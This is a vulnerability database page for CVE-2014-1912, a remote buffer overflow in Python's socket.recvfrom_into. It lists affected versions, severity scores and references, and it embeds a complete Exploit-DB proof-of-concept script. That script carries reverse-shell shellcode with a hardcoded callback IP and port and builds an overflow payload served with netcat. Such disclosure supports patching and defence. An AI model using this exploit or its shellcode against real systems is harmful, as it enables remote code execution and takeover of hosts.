CVE-2014-1912 : Detail

CVE-2014-1912

Overflow
38.99%V3
Network
2014-02-28
17h00 +00:00
2018-01-04
18h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in the socket.recvfrom_into function in Modules/socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and 3.4.x before 3.4rc1 allows remote attackers to execute arbitrary code via a crafted string.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 31875

Publication date : 2014-02-23 23h00 +00:00
Author : Sha0
EDB Verified : No

#!/usr/bin/env python ''' # Exploit Title: python socket.recvfrom_into() remote buffer overflow # Date: 21/02/2014 # Exploit Author: @sha0coder # Vendor Homepage: python.org # Version: python2.7 and python3 # Tested on: linux 32bit + python2.7 # CVE : CVE-2014-1912 socket.recvfrom_into() remote buffer overflow Proof of concept by @sha0coder TODO: rop to evade stack nx (gdb) x/i $eip => 0x817bb28: mov eax,DWORD PTR [ebx+0x4] <--- ebx full control => eax full conrol 0x817bb2b: test BYTE PTR [eax+0x55],0x40 0x817bb2f: jne 0x817bb38 --> ... 0x817bb38: mov eax,DWORD PTR [eax+0xa4] <--- eax full control again 0x817bb3e: test eax,eax 0x817bb40: jne 0x817bb58 --> ... 0x817bb58: mov DWORD PTR [esp],ebx 0x817bb5b: call eax <--------------------- indirect fucktion call ;) $ ./pyrecvfrominto.py egg file generated $ cat egg | nc -l 8080 -vv ... when client connects ... or wen we send the evil buffer to the server ... 0x0838591c in ?? () 1: x/5i $eip => 0x838591c: int3 <--------- LANDED!!!!! 0x838591d: xor eax,eax 0x838591f: xor ebx,ebx 0x8385921: xor ecx,ecx 0x8385923: xor edx,edx ''' import struct def off(o): return struct.pack('L',o) reverseIP = '\xc0\xa8\x04\x34' #'\xc0\xa8\x01\x0a' reversePort = '\x7a\x69' #shellcode from exploit-db.com, (remove the sigtrap) shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2"\ "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"\ "\x01\x6a\x02\x89\xe1\xcd\x80\x89"\ "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+\ reverseIP+"\x66\x68"+reversePort+"\x66\x53\xfe"\ "\xc3\x89\xe1\x6a\x10\x51\x56\x89"\ "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"\ "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"\ "\xc0\x52\x68\x6e\x2f\x73\x68\x68"\ "\x2f\x2f\x62\x69\x89\xe3\x52\x53"\ "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"\ "\x80" shellcode_sz = len(shellcode) print 'shellcode sz %d' % shellcode_sz ebx = 0x08385908 sc_off = 0x08385908+20 padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM' ''' +------------+----------------------+ +--------------------+ | | | | | V | | V | ''' buff = 'aaaa' + off(ebx) + 'aaaaaAAA'+ off(ebx) + shellcode + padd + off(sc_off) # .. and landed ;) print 'buff sz: %s' % len(buff) open('egg','w').write(buff)

Products Mentioned

Configuraton 0

Python>>Python >> Version 2.5.1

Python>>Python >> Version 2.5.2

Python>>Python >> Version 2.5.3

Python>>Python >> Version 2.5.4

Python>>Python >> Version 2.5.6

Python>>Python >> Version 2.5.150

Python>>Python >> Version 2.6.1

Python>>Python >> Version 2.6.2

Python>>Python >> Version 2.6.3

Python>>Python >> Version 2.6.4

Python>>Python >> Version 2.6.5

Python>>Python >> Version 2.6.6

Python>>Python >> Version 2.6.7

Python>>Python >> Version 2.6.8

Python>>Python >> Version 2.6.2150

Python>>Python >> Version 2.6.6150

Python>>Python >> Version 2.7.1

Python>>Python >> Version 2.7.1

Python>>Python >> Version 2.7.2

Python>>Python >> Version 2.7.3

Python>>Python >> Version 2.7.4

Python>>Python >> Version 2.7.5

Python>>Python >> Version 2.7.6

Python>>Python >> Version 2.7.1150

Python>>Python >> Version 2.7.1150

Python>>Python >> Version 2.7.2150

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.10.4

Configuraton 0

Python>>Python >> Version 3.0

Python>>Python >> Version 3.0.1

Python>>Python >> Version 3.1

Python>>Python >> Version 3.1.1

Python>>Python >> Version 3.1.2

Python>>Python >> Version 3.1.3

Python>>Python >> Version 3.1.4

Python>>Python >> Version 3.1.5

Python>>Python >> Version 3.1.2150

Python>>Python >> Version 3.2

Python>>Python >> Version 3.2

Python>>Python >> Version 3.2.0

Python>>Python >> Version 3.2.1

Python>>Python >> Version 3.2.2

Python>>Python >> Version 3.2.3

Python>>Python >> Version 3.2.4

Python>>Python >> Version 3.2.5

Python>>Python >> Version 3.2.2150

Python>>Python >> Version 3.3

Python>>Python >> Version 3.3

Python>>Python >> Version 3.3.0

Python>>Python >> Version 3.3.1

Python>>Python >> Version 3.3.2

Python>>Python >> Version 3.3.3

Python>>Python >> Version 3.4

References

http://rhn.redhat.com/errata/RHSA-2015-1064.html
Tags : vendor-advisory, x_refsource_REDHAT
http://bugs.python.org/issue20246
Tags : x_refsource_CONFIRM
http://www.debian.org/security/2014/dsa-2880
Tags : vendor-advisory, x_refsource_DEBIAN
https://security.gentoo.org/glsa/201503-10
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securityfocus.com/bid/65379
Tags : vdb-entry, x_refsource_BID
http://www.openwall.com/lists/oss-security/2014/02/12/16
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2015-1330.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.exploit-db.com/exploits/31875
Tags : exploit, x_refsource_EXPLOIT-DB
https://support.apple.com/kb/HT205031
Tags : x_refsource_CONFIRM
http://www.ubuntu.com/usn/USN-2125-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securitytracker.com/id/1029831
Tags : vdb-entry, x_refsource_SECTRACK